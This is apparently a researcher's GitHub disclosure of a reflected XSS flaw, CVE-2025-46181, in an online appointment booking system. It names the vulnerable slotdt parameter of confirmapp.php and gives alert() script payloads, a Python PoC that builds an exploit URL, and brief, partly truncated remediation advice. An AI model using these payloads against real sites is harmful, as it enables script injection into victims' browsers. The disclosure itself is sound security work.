shemkumar/cve-2025-46181-xssReflected XSS vulnerability disclosure with PoC script and remediation guidance for an online appointment booking system. Includes vulnerable parameter analysis and impact assessment.
CVE-ID: CVE-2025-46181
Discovered by: Shemkumar P (shemkumar.github.io)
Vulnerability Type: Reflected Cross-Site Scripting (XSS)
Severity: Medium
Status: Disclosed, CVE Assigned by MITRE
A Reflected Cross-Site Scripting (XSS) vulnerability exists in a public online appointment booking system (v1.0), specifically in the page that handles appointment confirmation. A GET parameter fails to sanitize input properly, enabling JavaScript injection and code execution in the victim’s browser.
GET /confirmapp.php?slotdt=<payload>
Example Payload (Encoded):
<script>alert("XSS")</script>
<script>alert("You have been hijacked")</script>
🚫 Live link redacted for ethical reasons. This vulnerability was tested in a controlled environment.
import requests
from urllib.parse import quote
base_url = "https://[REDACTED]/confirmapp.php"
payload = '<script>alert("XSS triggered")</script>'
params = {
'fullname': 'test',
'mobile': '9999999999',
'emailid': '[email protected]',
'slotdt': payload,
'slottime': '11:00:00',
'doctorid': '2'
}
encoded = '&'.join(f"{k}={quote(str(v))}" for k, v in params.items())
print("Test URL (use only in authorized test environments):")
print(f"{base_url}?{encoded}")
The application should:
htmlspecialchars() in PHPShemkumar P
🕸️ shemkumar.github.io
🔐 Cybersecurity Researcher | CTF Enthusiast | CVE Reporter
⚠️ This publication is for educational and defensive use only. Testing or exploiting vulnerabilities on systems you don’t own or have explicit permission for is illegal and unethical.